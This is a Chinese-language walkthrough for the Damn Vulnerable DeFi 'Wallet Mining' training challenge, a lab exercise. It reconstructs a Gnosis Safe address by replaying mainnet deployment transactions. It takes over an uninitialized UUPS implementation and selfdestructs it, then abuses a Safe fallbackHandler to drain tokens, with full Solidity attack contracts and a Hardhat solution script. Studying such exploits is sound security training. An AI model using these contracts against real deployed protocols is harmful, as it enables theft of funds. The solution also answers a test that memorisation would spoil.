Defi安全挑战系列-Damn Vulnerable DeFi(#13 Wallet Mining)

有一个合约激励用户部署Gnosis Safe钱包,并奖励他们1个DVT代币。它与可升级的授权机制集成。这样可以确保只有被允许的部署者(也称为照管人)才会因特定的部署而获得报酬。需要注意的是,系统的某些部分已经被匿名CT大师高度优化。

部署者合约只能与官方的Gnosis Safe工厂合约(地址为0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B)和相应的主合约(地址为0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F)配合使用。不过不清楚它应该如何工作——这些合约尚未在该链上部署。

与此同时,似乎有人将2000万个DVT代币转移到了地址0x9b6fb606a9f5789444c17768c6dfcf2f83563801。这个地址已经被授权合约的一个照管人使用。奇怪的是,因为这个地址也是空的。

通过获取钱包部署者合约持有的所有代币来完成挑战。哦,还有那2000万个DVT代币。

https://www.damnvulnerabledefi.xyz/challenges/wallet-mining/

分析合约

其实这次挑战的背景是在22年6月份$OP被盗有关。下面这篇把背景知识和结果分析不错的文章:

https://mirror.xyz/0xbuidlerdao.eth/lOE5VN-BHI0olGOXe27F0auviIuoSlnou_9t3XRJseY

为了从本地区块链上重现0x9b6fb606a9f5789444c17768c6dfcf2f83563801地址。我们只需要重现这个地址的创建流程,这是以太坊区块链浏览器上的记录。 目标地址是通过ProxyFactory产生的。而ProxyFactory是Safe: Deployer 3 0x1aa7451DD11b8cb16AC089ED7fE05eFa00100A6A创建的。按区块链上的的记录第一笔创建Create: GnosisSafe钱包逻辑合约,第二笔其实随意(保证none累加即可),第三笔创建Create: ProxyFactory代理工厂合约。然后在ProxyFactory连续创建43次就可以创建目标地址的合约了。

post image

题目中要求使用WalletDeployer.sol的drop方法创建钱包,在drop创建的逻辑中有个调用can的断言逻辑。can中是assembly代码。

post image

第1句中的sload(0),其实是mom变量才使用了插槽。因为合约前面的变量要么是constant(固定值直接写死在代码中),要么是immutable(构造函数中确认了值写死在代码中)。

post image

第5句中的0x4538c4eb其实是AuthorizerUpgradeable.sol中的can(address, address) 的函数选择器字符串,这里是为下面staticcall调用传参准备的。

第8句就是使用staticcall调用AuthorizerUpgradeable.sol中的can(address, address) 方法。

回头看can中的断言逻辑在部署的时候就设置了固定值,攻击者无法通过断言。观察发现AuthorizerUpgradeable.sol使用了UUPS模式,如果想办法更换实现逻辑合约地址呢? AuthorizerUpgradea在部署的时候调用init方法,init方法中的__Ownable_init()逻辑设置了调用中获取所有权,init方法中使用了initializer修饰器只允许调用一次,好像这样也行不通。

为了通过WalletDeployer.sol中的can断言,其实解决方案是,AuthorizerUpgradeable.sol使用了UUPS模式,所以可以通过UUPS源码中的_IMPLEMENTATION_SLOT的slot中找到0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc的逻辑合约地址。找到逻辑合约地址后通过调用AuthorizerUpgradeable.sol,init方法获得所有权,前面为什么说不可以再调用init,这里又可以呢?因为前面的initializer修饰器的状态其实保存在UUPS代理合约中,而逻辑合约中的状态是最初的,所以可正常执行。获得所有权后可以调用upgradeToAndCall( address imp, bytes memory wat)方法。新的逻辑地址内容是selfdestruct(payable(address(0))); wat参数是通过delegatecall 方式调用的,这样就把新的AuthorizerUpgradeable.sol逻辑合约地址摧毁了,也可以通过AuthorizerUpgradeable.sol中的can 中断言了。

使用WalletDeployer.sol的drop方法创建钱包,参数setup(address[],uint256,address,bytes,address,address,uint256,address) 中的第5个参数是地址类型,也就是fallbackHandler,代码在这里 这个参数代表当被调用的方法没有匹配的时候会触发fallback()方法,在该方法的逻辑是fallbackHandler.call 代码在这里。所以我们可以传递该参数为token的地址,这样可以直接调用IERC20(depositAddress).transfer(msg.sender,token.balanceOf(depositAddress) 转移题目中2000万个DVT代币。

为什么要分三个智能合约完成挑战呢?
因为执行selfdestruct(payable(address(0)));自销毁要等交易完成后才能生效了

解决方案

创建AuthorizerUpgradeableWithUpgradeToAndCall.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {AuthorizerUpgradeable} from "./AuthorizerUpgradeable.sol";
import "./Killme.sol";

/**
 * @title AuthorizerUpgradeable
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
//is UUPSUpgradeable
contract AuthorizerUpgradeableWithUpgradeToAndCall {
    AuthorizerUpgradeable public authorizerUpgradeableImplementation;

    constructor(address authorizerUpgradeableImplementationAddress) {
        authorizerUpgradeableImplementation = AuthorizerUpgradeable(
            authorizerUpgradeableImplementationAddress
        );
        upgradeToAndCallWithKillme();
    }

    function upgradeToAndCallWithKillme() public {
        address[] memory wards = new addressUnsupported embed;
        authorizerUpgradeableImplementation.init(wards, wards);

        Killme killme = new Killme();

        authorizerUpgradeableImplementation.upgradeToAndCall(
            address(killme),
            abi.encodeWithSignature("killme()")
        );
    }
}

创建Killme.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
 * @title AuthorizerUpgradeable
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
//is UUPSUpgradeable
contract Killme {
    function killme() public {
        selfdestruct(payable(address(0)));
    }

    function proxiableUUID() external view returns (bytes32) {
        return
            0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    }
}

创建AttackWalletMining.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "hardhat/console.sol";
import {AuthorizerUpgradeable} from "./AuthorizerUpgradeable.sol";
import {WalletDeployer} from "./WalletDeployer.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract AttackWalletMining {
    WalletDeployer public walletDeployer;
    address public depositAddress;
    IERC20 public token;
    address fakeAuthorizerUpgradeableAddress;

    constructor(
        address walletDeployerAddress,
        address _depositAddress,
        address tokenAddress
    ) {
        walletDeployer = WalletDeployer(walletDeployerAddress);
        depositAddress = _depositAddress;
        token = IERC20(tokenAddress);
    }

    function attack() public {
        address[] memory _owners = new addressUnsupported embed;
        _owners[0] = msg.sender;

        bytes memory setupData = abi.encodeWithSignature(
            "setup(address[],uint256,address,bytes,address,address,uint256,address)",
            _owners,
            1,
            address(0),
            0,
            address(token), //fallbackHandler 如果safe wallet没有被调用的方法,那么尝试调用这个地址
            address(0),
            0,
            address(0)
        );

        for (uint256 index = 0; index < 100; ) {
            address walletAddress = walletDeployer.drop(setupData);
            if (walletAddress == depositAddress) {
                break;
            }

            unchecked {
                index++;
            }
        }
        token.transfer(msg.sender, token.balanceOf(address(this)));

        //safe wallet没有transfer方法,那么就会触发fallback(),fallback()方法中实现了fallbackHandler.call逻辑,因为在setup设置了fallbackHandler的地址是token address,所以实际调用的就是tokenAddress.transfer方法。
        IERC20(depositAddress).transfer(
            msg.sender,
            token.balanceOf(depositAddress)
        );
    }
}

wallet-mining.challenge.js

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */

        //给Safe: Deployer 3地址转账1ETH作为gas,不然下面3笔交易因为没有gas导致失败
        await player.sendTransaction({
            from: player.address,
            to: "0x1aa7451DD11b8cb16AC089ED7fE05eFa00100A6A",
            value: ethers.utils.parseEther("1"),
        });

        await (await ethers.provider.sendTransaction(DEPLOY_SAFE_TX)).wait(); //https://etherscan.io/getRawTx?tx=0x06d2fa464546e99d2147e1fc997ddb624cec9c8c5e25a050cc381ee8a384eed3
        await (await ethers.provider.sendTransaction(DEPLOY_UPGRADE_TX)).wait(); //https://etherscan.io/getRawTx?tx=0x31ae8a26075d0f18b81d3abe2ad8aeca8816c97aff87728f2b10af0241e9b3d4
        await (await ethers.provider.sendTransaction(DEPLOY_FACTORY_TX)).wait(); //https://etherscan.io/getRawTx?tx=0x75a42f240d229518979199f56cd7c82e4fc1f1a20ad9a4864c635354b4a34261

        const impSlot = "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"; //这是UUPS合约中执行合约地址的slot插槽  具体看UUPS合约代码吧
        let implementationAddress = "0x" + (await ethers.provider.getStorageAt(authorizer.address, impSlot)).slice(-40); //组装地址

        const authorizerUpgradeableWithUpgradeToAndCallFoctroy = await ethers.getContractFactory("AuthorizerUpgradeableWithUpgradeToAndCall", player);
        await authorizerUpgradeableWithUpgradeToAndCallFoctroy.deploy(implementationAddress);

        const attackFoctory = await ethers.getContractFactory("AttackWalletMining", player);
        const attackContact = await attackFoctory.deploy(
            walletDeployer.address,
            DEPOSIT_ADDRESS,
            token.address
        );
        attackContact.connect(player).attack()
    });